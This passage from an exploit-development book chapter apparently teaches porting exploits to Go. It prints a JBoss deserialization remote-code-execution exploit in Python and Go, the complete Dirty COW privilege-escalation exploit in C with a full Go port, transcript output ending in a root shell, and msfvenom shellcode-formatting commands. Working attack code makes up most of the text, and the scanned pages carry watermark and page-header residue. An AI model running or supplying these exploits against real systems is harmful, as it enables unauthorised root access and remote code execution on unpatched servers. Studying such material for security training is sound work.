a popular Java Enterprise Edition application server. At https://github.com
/roo7break/serialator/blob/master/serialator.py, you’ll find a Python script
that contains logic to exploit the vulnerability in multiple applications.
Listing 9-3 provides the logic you’ll replicate.
def jboss_attack(HOST, PORT, SSL_On, _cmd):
# The below code is based on the jboss_java_serialize.nasl script within Nessus
"""
This function sets up the attack payload for JBoss
"""
body_serObj = hex2raw3("ACED000573720032737--SNIPPED FOR BREVITY--017400") u
cleng = len(_cmd)
body_serObj += chr(cleng) + _cmd v
body_serObj += hex2raw3("740004657865637571--SNIPPED FOR BREVITY--7E003A") w
if SSL_On: x
webservice = httplib2.Http(disable_ssl_certificate_validation=True)
URL_ADDR = "%s://%s:%s" % ('https',HOST,PORT)
else:
webservice = httplib2.Http()
URL_ADDR = "%s://%s:%s" % ('http',HOST,PORT)
headers = {"User-Agent":"JBoss_RCE_POC", y
"Content-type":"application/x-java-serialized-object--SNIPPED FOR BREVITY--",
"Content-length":"%d" % len(body_serObj)
}
resp, content = webservice.requestz (
URL_ADDR+"/invoker/JMXInvokerServlet",
"POST",
body=body_serObj,
headers=headers)
# print provided response.
print("[i] Response received from target: %s" % resp)
Listing 9-3: The Python serialization exploit code
Let’s take a look at what you’re working with here. The function receives
a host, port, SSL indicator, and operating system command as parameters.
To build the proper request, the function has to create a payload that rep-
resents a serialized Java object. This script starts by hardcoding a series of
bytes onto a variable named body_serObj u. These bytes have been snipped for
brevity, but notice they are represented in the code as a string value. This is
a hexadecimal string, which you’ll need to convert to a byte array so that two
characters of the string become a single byte representation. For example,
you’ll need to convert AC to the hexadecimal byte \xAC. To accomplish this
conversion, the exploit code calls a function named hex2raw3. Details of this
function’s underlying implementation are inconsequential, so long as you
understand what’s happening to the hexadecimal string.
前沿信安资讯阵地 公众号:i nf osrc
Writing and Porting Exploit Code 199
Next, the script calculates the length of the operating system command,
and then appends the length and command to the body_serObj variable v.
The script completes the construction of the payload by appending addi-
tional data that represents the remainder of your Java serialized object in a
format that JBoss can process w. Once the payload is constructed, the script
builds the URL and sets up SSL to ignore invalid certificates, if necessary x.
It then sets the required Content-Type and Content-Length HTTP headers y and
sends the malicious request to the target server z.
Most of what’s presented in this script shouldn’t be new to you, as we’ve
covered the majority of it in previous chapters. It’s now just a matter of mak-
ing the equivalent function calls in a Go friendly manner. Listing 9-4 shows
the Go version of the exploit.
func jboss(host string, ssl bool, cmd string) (int, error) {
serializedObject, err := hex.DecodeString("ACED0005737--SNIPPED FOR BREVITY--017400") u
if err != nil {
return 0, err
}
serializedObject = append(serializedObject, byte(len(cmd)))
serializedObject = append(serializedObject, []byte(cmd)...) v
afterBuf, err := hex.DecodeString("740004657865637571--SNIPPED FOR BREVITY--7E003A") w
if err != nil {
return 0, err
}
serializedObject = append(serializedObject, afterBuf...)
var client *http.Client
var url string
if ssl { x
client = &http.Client{
Transport: &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
},
},
}
url = fmt.Sprintf("https://%s/invoker/JMXInvokerServlet", host)
} else {
client = &http.Client{}
url = fmt.Sprintf("http://%s/invoker/JMXInvokerServlet", host)
}
req, err := http.NewRequest("POST", url, bytes.NewReader(serializedObject))
if err != nil {
return 0, err
}
req.Header.Set( y
"User-Agent",
"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko")
req.Header.Set(
"Content-Type",
"application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue")
前沿信安资讯阵地 公众号:i nf osrc
200 Chapter 9
resp, err := client.Do(req) z
if err != nil {
return 0, err
}
return resp.StatusCode, nil
}
Listing 9-4: The Go equivalent of the original Python serialization exploit (/ch-9 /jboss/main.go)
The code is nearly a line-by-line reproduction of the Python version.
For this reason, we’ve set the annotations to align with their Python coun-
terparts, so you’ll be able to follow the changes we’ve made.
First, you construct your payload by defining your serialized Java object
byte slice u, hardcoding the portion before your operating system com-
mand. Unlike the Python version, which relied on user-defined logic to
convert your hexadecimal string to a byte array, the Go version uses the
hex.DecodeString() from the encoding/hex package. Next, you determine the
length of your operating system command, and then append it and the
command itself to your payload v. You complete the construction of your
payload by decoding your hardcoded hexadecimal trailer string onto
your existing payload w. The code for this is slightly more verbose than
the Python version because we intentionally added in additional error
handling, but it’s also able to use Go’s standard encoding package to easily
decode your hexadecimal string.
You proceed to initialize your HTTP client x, configuring it for SSL
communications if requested, and then build a POST request. Prior to
sending the request, you set your necessary HTTP headers y so that the
JBoss server interprets the content type appropriately. Notice that you don’t
explicitly set the Content-Length HTTP header. That’s because Go’s http pack-
age does that for you automatically. Finally, you send your malicious request
by calling client.Do(req) z.
For the most part, this code makes use of what you’ve already learned.
The code introduces small modifications such as configuring SSL to ignore
invalid certificates x and adding specific HTTP headers y. Perhaps the
one novel element in our code is the use of hex.DecodeString(), which is a
Go core function that translates a hexadecimal string to its equivalent byte
representation. You’d have to do this manually in Python. Table 9-2 shows
some additional, commonly encountered Python functions or constructs
with their Go equivalents.
This is not a comprehensive list of functional mappings. Too many
variations and edge cases exist to cover all the possible functions required
for porting exploits. We’re hopeful that this will help you translate at least
some of the most common Python functions to Go.
前沿信安资讯阵地 公众号:i nf osrc
Writing and Porting Exploit Code 201
Table 9-2: Common Python Functions and Their Go Equivalents
Python
Go
Notes
hex(x)
fmt.Sprintf("%#x", x)
Converts an integer, x, to a lowercase
hexadecimal string, prefixed with "0x".
ord(c)
rune(c)
Used to retrieve the integer (int32)
value of a single character. Works
for standard 8-bit strings or multibyte
Unicode. Note that rune is a built-in
type in Go and makes working with
ASCII and Unicode data fairly simple.
chr(i) and unichr(i)
fmt.Sprintf("%+q", rune(i))
The inverse of ord in Python, chr and
unichr return a string of length 1 for
the integer input. In Go, you use the
rune type and can retrieve it as a string
by using the %+q format sequence.
struct.pack(fmt, v1, v2, . . .)
binary.Write(. . .)
Creates a binary representation of the
data, formatted appropriately for type
and endianness.
struct.unpack(fmt, string)
binary.Read(. . .)
The inverse of struct.pack and binary.
Write. Reads structured binary data
into a specified format and type.
Porting an Exploit from C
Let’s step away from Python and focus on C. C is arguably a less readable
language than Python, yet C shares more similarities with Go than Python
does. This makes porting exploits from C easier than you might think. To
demonstrate, we’ll be porting a local privilege escalation exploit for Linux.
The vulnerability, dubbed Dirty COW, pertains to a race condition within
the Linux kernel’s memory subsystem. This flaw affected most, if not all,
common Linux and Android distributions at the time of disclosure. The
vulnerability has since been patched, so you’ll need to take some specific
measures to reproduce the examples that follow. Specifically, you’ll need to
configure a Linux system with a vulnerable kernel version. Setting this up
is beyond the scope of the chapter; however, for reference, we use a 64-bit
Ubuntu 14.04 LTS distribution with kernel version 3.13.1.
Several variations of the exploit are publicly available. You can find
the one we intend to replicate at https://www.exploit-db.com/exploits/40616/.
Listing 9-5 shows the original exploit code, slightly modified for readability,
in its entirety.
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
前沿信安资讯阵地 公众号:i nf osrc
202 Chapter 9
void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;
// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
--snip--
0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;
void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
c+=madvise(map,100,MADV_DONTNEED);
}
printf("thread stopped\n");
}
void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
lseek(f,map,SEEK_SET);
c+=write(f, str, sc_len);
}
printf("thread stopped\n");
}
void *waitForWrite(void *arg) {
char buf[sc_len];
for(;;) {
FILE *fp = fopen(suid_binary, "rb");
fread(buf, sc_len, 1, fp);
if(memcmp(buf, sc, sc_len) == 0) {
printf("%s is overwritten\n", suid_binary);
break;
}
前沿信安资讯阵地 公众号:i nf osrc
Writing and Porting Exploit Code 203
fclose(fp);
sleep(1);
}
stop = 1;
printf("Popping root shell.\n");
printf("Don't forget to restore /tmp/bak\n");
system(suid_binary);
}
int main(int argc,char *argv[]) {
char *backup;
printf("DirtyCow root privilege escalation\n");
printf("Backing up %s.. to /tmp/bak\n", suid_binary);
asprintf(&backup, "cp %s /tmp/bak", suid_binary);
system(backup);
f = open(suid_binary,O_RDONLY);
fstat(f,&st);
printf("Size of binary: %d\n", st.st_size);
char payload[st.st_size];
memset(payload, 0x90, st.st_size);
memcpy(payload, sc, sc_len+1);
map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("Racing, this may take a while..\n");
pthread_create(&pth1, NULL, &madviseThread, suid_binary);
pthread_create(&pth2, NULL, &procselfmemThread, payload);
pthread_create(&pth3, NULL, &waitForWrite, NULL);
pthread_join(pth3, NULL);
return 0;
}
Listing 9-5: The Dirty COW privilege escalation exploit written in the C language
Rather than explaining the details of the C code’s logic, let’s look at it
generally, and then break it into chunks to compare it line by line with the
Go version.
The exploit defines some malicious shellcode, in Executable and Linkable
Format (ELF), that generates a Linux shell. It executes the code as a privi-
leged user by creating multiple threads that call various system functions to
write our shellcode to memory locations. Eventually, the shellcode exploits
the vulnerability by overwriting the contents of a binary executable file that
happens to have the SUID bit set and belongs to the root user. In this case,
前沿信安资讯阵地 公众号:i nf osrc
204 Chapter 9
that binary is /usr/bin/passwd. Normally, a nonroot user wouldn’t be able
to overwrite the file. However, because of the Dirty COW vulnerability, you
achieve privilege escalation because you can write arbitrary contents to the
file while preserving the file permissions.
Now let’s break the C code into easily digestible portions and com-
pare each section with its equivalent in Go. Note that the Go version is
specifically trying to achieve a line-by-line reproduction of the C version.
Listing 9-6 shows the global variables defined or initialized outside our
functions in C, while Listing 9-7 shows them in Go.
u void *map;
int f;
v int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;
// change if no permissions to read
w char suid_binary[] = "/usr/bin/passwd";
x unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
--snip--
0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;
Listing 9-6: Initialization in C
u var mapp uintptr
v var signals = make(chan bool, 2)
w const SuidBinary = "/usr/bin/passwd"
x var sc = []byte{
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
--snip--
0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05,
}
Listing 9-7: Initialization in Go
The translation between C and Go is fairly straightforward. The two
code sections, C and Go, maintain the same numbering to demonstrate
how Go achieves similar functionality to the respective lines of C code. In
both cases, you track mapped memory by defining a uintptr variable u. In
Go, you declare the variable name as mapp since, unlike C, map is a reserved
keyword in Go. You then initialize a variable to be used for signaling the
threads to stop processing v. Rather than use an integer, as the C code does,
the Go convention is instead to use a buffered boolean channel. You explic-
itly define its length to be 2 since there will be two concurrent functions that
you’ll wish to signal. Next, you define a string to your SUID executable w
前沿信安资讯阵地 公众号:i nf osrc
Writing and Porting Exploit Code 205
and wrap up your global variables by hardcoding your shellcode into a
slice x. A handful of global variables were omitted in the Go code com-
pared to the C version, which means you’ll define them as needed within
their respective code blocks.
Next, let’s look at madvise() and procselfmem(), the two primary func-
tions that exploit the race condition. Again, we’ll compare the C version
in Listing 9-8 with the Go version in Listing 9-9.
void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<1000000 && !stop;i++u) {
c+=madvise(map,100,MADV_DONTNEED)v;
}
printf("thread stopped\n");
}
void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<1000000 && !stop;i++u) {
w lseek(f,map,SEEK_SET);
c+=write(f, str, sc_len)x;
}
printf("thread stopped\n");
}
Listing 9-8: Race condition functions in C
func madvise() {
for i := 0; i < 1000000; i++ {
select {
case <- signals: u
fmt.Println("madvise done")
return
default:
syscall.Syscall(syscall.SYS_MADVISE, mapp, uintptr(100), syscall.MADV_DONTNEED) v
}
}
}
func procselfmem(payload []byte) {
f, err := os.OpenFile("/proc/self/mem", syscall.O_RDWR, 0)
if err != nil {
log.Fatal(err)
}
前沿信安资讯阵地 公众号:i nf osrc
206 Chapter 9
for i := 0; i < 1000000; i++ {
select {
case <- signals: u
fmt.Println("procselfmem done")
return
default:
syscall.Syscall(syscall.SYS_LSEEK, f.Fd(), mapp, uintptr(os.SEEK_SET)) w
f.Write(payload) x
}
}
}
Listing 9-9: Race condition functions in Go
The race condition functions use variations for signaling u. Both func-
tions contain for loops that iterate an extensive number of times. The C ver-
sion checks the value of the stop variable, while the Go version uses a select
statement that attempts to read from the signals channel. When a signal
is present, the function returns. In the event that no signal is waiting, the
default case executes. The primary differences between the madvise() and
procselfmem() functions occur within the default case. Within our madvise()
function, you issue a Linux system call to the madvise() v function, whereas
your procselfmem() function issues Linux system calls to lseek() w and
writes your payload to memory x.
Here are the main differences between the C and Go versions of
these functions:
•
The Go version uses a channel to determine when to prematurely break
the loop, while the C function uses an integer value to signal when to
break the loop after the thread race condition has occurred.
•
The Go version uses the syscall package to issue Linux system calls. The
parameters passed to the function include the system function to be
called and its required parameters. You can find the name, purpose,
and parameters of the function by searching Linux documentation.
This is how we are able to call native Linux functions.
Now, let’s review the waitForWrite() function, which monitors for the
presence of changes to SUID in order to execute the shellcode. The C ver-
sion is shown in Listing 9-10, and the Go version is shown in Listing 9-11.
void *waitForWrite(void *arg) {
char buf[sc_len];
u for(;;) {
FILE *fp = fopen(suid_binary, "rb");
fread(buf, sc_len, 1, fp);
if(memcmp(buf, sc, sc_len) == 0) {
printf("%s is overwritten\n", suid_binary);
break;
}
前沿信安资讯阵地 公众号:i nf osrc
Writing and Porting Exploit Code 207
fclose(fp);
sleep(1);
}
v stop = 1;
printf("Popping root shell.\n");
printf("Don't forget to restore /tmp/bak\n");
w system(suid_binary);
}
Listing 9-10: The waitForWrite() function in C
func waitForWrite() {
buf := make([]byte, len(sc))
u for {
f, err := os.Open(SuidBinary)
if err != nil {
log.Fatal(err)
}
if _, err := f.Read(buf); err != nil {
log.Fatal(err)
}
f.Close()
if bytes.Compare(buf, sc) == 0 {
fmt.Printf("%s is overwritten\n", SuidBinary)
break
}
time.Sleep(1*time.Second)
}
v signals <- true
signals <- true
fmt.Println("Popping root shell")
fmt.Println("Don't forget to restore /tmp/bak\n")
attr := os.ProcAttr {
Files: []*os.File{os.Stdin, os.Stdout, os.Stderr},
}
proc, err := os.StartProcess(SuidBinary, nil, &attr) w
if err !=nil {
log.Fatal(err)
}
proc.Wait()
os.Exit(0)
}
Listing 9-11: The waitForWrite() function in Go
前沿信安资讯阵地 公众号:i nf osrc
208 Chapter 9
In both cases, the code defines an infinite loop that monitors the SUID
binary file for changes u. While the C version uses memcmp() to check whether
the shellcode has been written to the target, the Go code uses bytes.Compare().
When the shellcode is present, you’ll know the exploit succeeded in overwrit-
ing the file. You then break out of the infinite loop and signal the running
threads that they can now stop v. As with the code for the race conditions,
the Go version does this via a channel, while the C version uses an integer.
Lastly, you execute what is probably the best part of the function: the SUID
target file that now has your malicious code within it w. The Go version is
a little bit more verbose, as you need to pass in attributes corresponding to
stdin, stdout, and stderr: files pointers to open input files, output files, and
error file descriptors, respectively.
Now let’s look at our main() function, which calls the previous functions
necessary to execute this exploit. Listing 9-12 shows the C version, and
Listing 9-13 shows the Go version.
int main(int argc,char *argv[]) {
char *backup;
printf("DirtyCow root privilege escalation\n");
printf("Backing up %s.. to /tmp/bak\n", suid_binary);
u asprintf(&backup, "cp %s /tmp/bak", suid_binary);
system(backup);
v f = open(suid_binary,O_RDONLY);
fstat(f,&st);
printf("Size of binary: %d\n", st.st_size);
w char payload[st.st_size];
memset(payload, 0x90, st.st_size);
memcpy(payload, sc, sc_len+1);
x map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("Racing, this may take a while..\n");
y pthread_create(&pth1, NULL, &madviseThread, suid_binary);
pthread_create(&pth2, NULL, &procselfmemThread, payload);
pthread_create(&pth3, NULL, &waitForWrite, NULL);
pthread_join(pth3, NULL);
return 0;
}
Listing 9-12: The main() function in C
前沿信安资讯阵地 公众号:i nf osrc
Writing and Porting Exploit Code 209
func main() {
fmt.Println("DirtyCow root privilege escalation")
fmt.Printf("Backing up %s.. to /tmp/bak\n", SuidBinary)
u backup := exec.Command("cp", SuidBinary, "/tmp/bak")
if err := backup.Run(); err != nil {
log.Fatal(err)
}
v f, err := os.OpenFile(SuidBinary, os.O_RDONLY, 0600)
if err != nil {
log.Fatal(err)
}
st, err := f.Stat()
if err != nil {
log.Fatal(err)
}
fmt.Printf("Size of binary: %d\n", st.Size())
w payload := make([]byte, st.Size())
for i, _ := range payload {
payload[i] = 0x90
}
for i, v := range sc {
payload[i] = v
}
x mapp, _, _ = syscall.Syscall6(
syscall.SYS_MMAP,
uintptr(0),
uintptr(st.Size()),
uintptr(syscall.PROT_READ),
uintptr(syscall.MAP_PRIVATE),
f.Fd(),
0,
)
fmt.Println("Racing, this may take a while..\n")
y go madvise()
go procselfmem(payload)
waitForWrite()
}
Listing 9-13: The main() function in Go
The main() function starts by backing up the target executable u. Since
you’ll eventually be overwriting it, you don’t want to lose the original ver-
sion; doing so may adversely affect the system. While C allows you to run
an operating system command by calling system() and passing it the entire
command as a single string, the Go version relies on the exec.Command() func-
tion, which requires you to pass the command as separate arguments. Next,
you open the SUID target file in read-only mode v, retrieving the file stats,
前沿信安资讯阵地 公众号:i nf osrc
210 Chapter 9
and then use them to initialize a payload slice of identical size as the tar-
get file w. In C, you fill the array with NOP (0x90) instructions by calling
memset(), and then copy over a portion of the array with your shellcode by
calling memcpy(). These are convenience functions that don’t exist in Go.
Instead, in Go, you loop over the slice elements and manually populate
them one byte at a time. After doing so, you issue a Linux system call to
the mapp() function x, which maps the contents of your target SUID file to
memory. As for previous system calls, you can find the parameters needed
for mapp() by searching the Linux documentation. You may notice that the
Go code issues a call to syscall.Syscall6() rather than syscall.Syscall(). The
Syscall6() function is used for system calls that expect six input parameters,
as is the case with mapp(). Lastly, the code spins up a couple of threads, call-
ing the madvise() and procselfmem() functions concurrently y. As the race
condition ensues, you call your waitForWrite() function, which monitors for
changes to your SUID file, signals the threads to stop, and executes your
malicious code.
For completeness, Listing 9-14 shows the entirety of the ported Go code.
var mapp uintptr
var signals = make(chan bool, 2)
const SuidBinary = "/usr/bin/passwd"
var sc = []byte{
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
--snip--
0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05,
}
func madvise() {
for i := 0; i < 1000000; i++ {
select {
case <- signals:
fmt.Println("madvise done")
return
default:
syscall.Syscall(syscall.SYS_MADVISE, mapp, uintptr(100), syscall.MADV_DONTNEED)
}
}
}
func procselfmem(payload []byte) {
f, err := os.OpenFile("/proc/self/mem", syscall.O_RDWR, 0)
if err != nil {
log.Fatal(err)
}
for i := 0; i < 1000000; i++ {
select {
case <- signals:
fmt.Println("procselfmem done")
return
default:
syscall.Syscall(syscall.SYS_LSEEK, f.Fd(), mapp, uintptr(os.SEEK_SET))
前沿信安资讯阵地 公众号:i nf osrc
Writing and Porting Exploit Code 211
f.Write(payload)
}
}
}
func waitForWrite() {
buf := make([]byte, len(sc))
for {
f, err := os.Open(SuidBinary)
if err != nil {
log.Fatal(err)
}
if _, err := f.Read(buf); err != nil {
log.Fatal(err)
}
f.Close()
if bytes.Compare(buf, sc) == 0 {
fmt.Printf("%s is overwritten\n", SuidBinary)
break
}
time.Sleep(1*time.Second)
}
signals <- true
signals <- true
fmt.Println("Popping root shell")
fmt.Println("Don't forget to restore /tmp/bak\n")
attr := os.ProcAttr {
Files: []*os.File{os.Stdin, os.Stdout, os.Stderr},
}
proc, err := os.StartProcess(SuidBinary, nil, &attr)
if err !=nil {
log.Fatal(err)
}
proc.Wait()
os.Exit(0)
}
func main() {
fmt.Println("DirtyCow root privilege escalation")
fmt.Printf("Backing up %s.. to /tmp/bak\n", SuidBinary)
backup := exec.Command("cp", SuidBinary, "/tmp/bak")
if err := backup.Run(); err != nil {
log.Fatal(err)
}
f, err := os.OpenFile(SuidBinary, os.O_RDONLY, 0600)
if err != nil {
log.Fatal(err)
}
st, err := f.Stat()
if err != nil {
前沿信安资讯阵地 公众号:i nf osrc
212 Chapter 9
log.Fatal(err)
}
fmt.Printf("Size of binary: %d\n", st.Size())
payload := make([]byte, st.Size())
for i, _ := range payload {
payload[i] = 0x90
}
for i, v := range sc {
payload[i] = v
}
mapp, _, _ = syscall.Syscall6(
syscall.SYS_MMAP,
uintptr(0),
uintptr(st.Size()),
uintptr(syscall.PROT_READ),
uintptr(syscall.MAP_PRIVATE),
f.Fd(),
0,
)
fmt.Println("Racing, this may take a while..\n")
go madvise()
go procselfmem(payload)
waitForWrite()
}
Listing 9-14: The complete Go port (/ch-9/dirtycow/main.go/)
To confirm that your code works, run it on your vulnerable host. There’s
nothing more satisfying than seeing a root shell.
alice@ubuntu:~$ go run main.go
DirtyCow root privilege escalation
Backing up /usr/bin/passwd.. to /tmp/bak
Size of binary: 47032
Racing, this may take a while..
/usr/bin/passwd is overwritten
Popping root shell
procselfmem done
Don't forget to restore /tmp/bak
root@ubuntu:/home/alice# id
uid=0(root) gid=1000(alice) groups=0(root),4(adm),1000(alice)
As you can see, a successful run of the program backs up the /usr/bin
/passwd file, races for control of the handle, overwrites the file location with
the newly intended values, and finally produces a system shell. The output
of the Linux id command confirms that the alice user account has been
elevated to a uid=0 value, indicating root-level privilege.
前沿信安资讯阵地 公众号:i nf osrc
Writing and Porting Exploit Code 213
Creating Shellcode in Go
In the previous section, you used raw shellcode in valid ELF format to over-
write a legitimate file with your malicious alternative. How might you gener-
ate that shellcode yourself? As it turns out, you can use your typical toolset
to generate Go-friendly shellcode.
We’ll show you how to do this with msfvenom, a command-line utility, but
the integration techniques we’ll teach you aren’t tool-specific. You can use
several methods to work with external binary data, be it shellcode or some-
thing else, and integrate it into your Go code. Rest assured that the following
pages deal more with common data representations than anything specific
to a tool.
The Metasploit Framework, a popular exploitation and post-exploitation
toolkit, ships with msfvenom, a tool that generates and transforms any of
Metasploit’s available payloads to a variety of formats specified via the –f
argument. Unfortunately, there is no explicit Go transform. However,
you can integrate several formats into your Go code fairly easily with
minor adjustments. We’ll explore five of these formats here: C, hex, num,
raw, and Base64, while keeping in mind that our end goal is to create a
byte slice in Go.
C Transform
If you specify a C transform type, msfvenom will produce the payload in a for-
mat that you can directly place into C code. This may seem like the logical
first choice, since we detailed many of the similarities between C and Go
earlier in this chapter. However, it’s not the best candidate for our Go code.
To show you why, look at the following sample output in C format:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
--snip--
"\x64\x00";
We’re interested almost exclusively in the payload. To make it Go-friendly,
you’ll have to remove the semicolon and alter the line breaks. This means you’ll
either need to explicitly append each line by adding a + to the end of all
lines except the last, or remove the line breaks altogether to produce one
long, continuous string. For small payloads this may be acceptable, but for
larger payloads this becomes tedious to do manually. You’ll find yourself
likely turning to other Linux commands such as sed and tr to clean it up.
Once you clean up the payload, you’ll have your payload as a string. To
create a byte slice, you’d enter something like this:
payload := []byte("\xfc\xe8\x82...").
It’s not a bad solution, but you can do better.
前沿信安资讯阵地 公众号:i nf osrc
214 Chapter 9
Hex Transform
Improving upon the previous attempt, let’s look at a hex transform. With
this format, msfvenom produces a long, continuous string of hexadecimal
characters:
fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ff...6400
If this format looks familiar, it’s because you used it when porting the
Java deserialization exploit. You passed this value as a string into a call to
hex.DecodeString(). It returns a byte slice and error details, if present. You
could use it like so:
payload, err := hex.DecodeString("fce8820000006089e531c0648b50308b520c8b52148b
72280fb74a2631ff...6400")
Translating this to Go is pretty simple. All you have to do is wrap your
string in double quotes and pass it to the function. However, a large payload
will produce a string that may not be aesthetically pleasing, wrapping lines
or running beyond recommended page margins. You may still want to use
this format, but we’ve provided a third alternative in the event that you want
your code to be both functional and pretty.
Num Transform
A num transform produces a comma-separated list of bytes in numerical,
hexadecimal format:
0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30,
0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff,
--snip--
0x64, 0x00
You can use this output in the direct initialization of a byte slice, like so:
payload := []byte{
0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30,
0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff,
--snip--
0x64, 0x00,
}
Because the msfvenom output is comma-separated, the list of bytes can
wrap nicely across lines without clumsily appending data sets. The only
modification required is the addition of a single comma after the last element
in the list. This output format is easily integrated into your Go code and
formatted pleasantly.
前沿信安资讯阵地 公众号:i nf osrc
Writing and Porting Exploit Code 215
Raw Transform
A raw transform produces the payload in raw binary format. The data itself,
if displayed on the terminal window, likely produces unprintable characters
that look something like this:
`1dP0R
8u};}$uXX$fY ӋI:I41
You can’t use this data in your code unless you produce it in a differ-
ent format. So why, you may ask, are we even discussing raw binary data?
Well, because it’s fairly common to encounter raw binary data, whether as a
payload generated from a tool, the contents of a binary file, or crypto keys.
Knowing how to recognize binary data and work it into your Go code will
prove valuable.
Using the xxd utility in Linux with the –i command line switch, you
can easily transform your raw binary data into the num format of the previ-
ous section. A sample msfvenom command would look like this, where you
pipe the raw binary output produced by msfvenom into the xxd command:
$ msfvenom -p [payload] [options] –f raw | xxd -i
You can assign the result directly to a byte slice as demonstrated in the
previous section.
Base64 Encoding
Although msfvenom doesn’t include a pure Base64 encoder, it’s fairly common
to encounter binary data, including shellcode, in Base64 format. Base64
encoding extends the length of your data, but also allows you to avoid ugly
or unusable raw binary data. This format is easier to work with in your code
than num, for example, and can simplify data transmission over protocols
such as HTTP. For that reason, it’s worth discussing its usage in Go.
The easiest method to produce a Base64-encoded representation of
binary data is to use the base64 utility in Linux. It allows you to encode or
decode data via stdin or from a file. You could use msfvenom to produce raw
binary data, and then encode the result by using the following command:
$ msfvenom -p [payload] [options] –f raw | base64
Much like your C output, the resulting payload contains line breaks
that you’ll have to deal with before including it as a string in your code.
You can use the tr utility in Linux to clean up the output, removing all
line breaks:
$ msfvenom -p [payload] [options] –f raw | base64 | tr –d "\n"
前沿信安资讯阵地 公众号:i nf osrc
216 Chapter 9
The encoded payload will now exist as a single, continuous string. In
your Go code, you can then get the raw payload as a byte slice by decoding
the string. You use the encoding/base64 package to get the job done:
payload, err := base64.StdEncoding.DecodeString("/OiCAAAAYInlMcBki1Awi...WFuZAA=")
You’ll now have the ability to work with the raw binary data without all
the ugliness.
A Note on Assembly
A discussion of shellcode and low-level programming isn’t complete without
at least mentioning assembly. Unfortunately for the shellcode composers
and assembly artists, Go’s integration with assembly is limited. Unlike C, Go
doesn’t support inline assembly. If you want to integrate assembly into your
Go code, you can do that, sort of. You’ll have to essentially define a func-
tion prototype in Go with the assembly instructions in a separate file. You
then run go build to compile, link, and build your final executable. While
this may not seem overly daunting, the problem is the assembly language
itself. Go supports only a variation of assembly based on the Plan 9 operat-
ing system. This system was created by Bell Labs and used in the late 20th
century. The assembly syntax, including available instructions and opcodes,
is almost nonexistent. This makes writing pure Plan 9 assembly a daunting,
if not nearly impossible, task.
Summary
Despite lacking assembly usability, Go’s standard packages offer a tremen-
dous amount of functionality conducive to vulnerability hunters and exploit
developers. This chapter covered fuzzing, porting exploits, and handling
binary data and shellcode. As an additional learning exercise, we encourage
you to explore the exploit database at https://www.exploit-db.com/ and try to
port an existing exploit to Go. Depending on your comfort level with the
source language, this task could seem overwhelming but it can be an excel-
lent opportunity to understand data manipulation, network communica-
tions, and low-level system interaction.
In the next chapter, we’ll step away from exploitation activities and
focus on producing extendable toolsets.
前沿信安资讯阵地 公众号:i nf osrc
10
GO PL U G IN S A N D
E X T E N DA BL E T OOL S
Many security tools are constructed as
frameworks—core components, built with a
level of abstraction that allows you to easily
extend their functionality. If you think about
it, this makes a lot of sense for security practitioners.
The industry is constantly changing; the community
is always inventing new exploits and techniques to avoid detection, creat-
ing a highly dynamic and somewhat unpredictable landscape. However,
by using plug-ins and extensions, tool developers can future-proof their
products to a degree. By reusing their tools’ core components without
making cumbersome rewrites, they can handle industry evolution grace-
fully through a pluggable system.
This, coupled with massive community involvement, is arguably how
the Metasploit Framework has managed to age so well. Hell, even commer-
cial enterprises like Tenable see the value in creating extendable products;
Tenable relies on a plug-in-based system to perform signature checks within
its Nessus vulnerability scanner.
前沿信安资讯阵地 公众号:i nf osrc
218 Chapter 10
In this chapter, you’ll create two vulnerability scanner extensions in
Go. You’ll first do this by using the native Go plug-in system and explicitly
compiling your code as a shared object. Then you’ll rebuild the same plug-
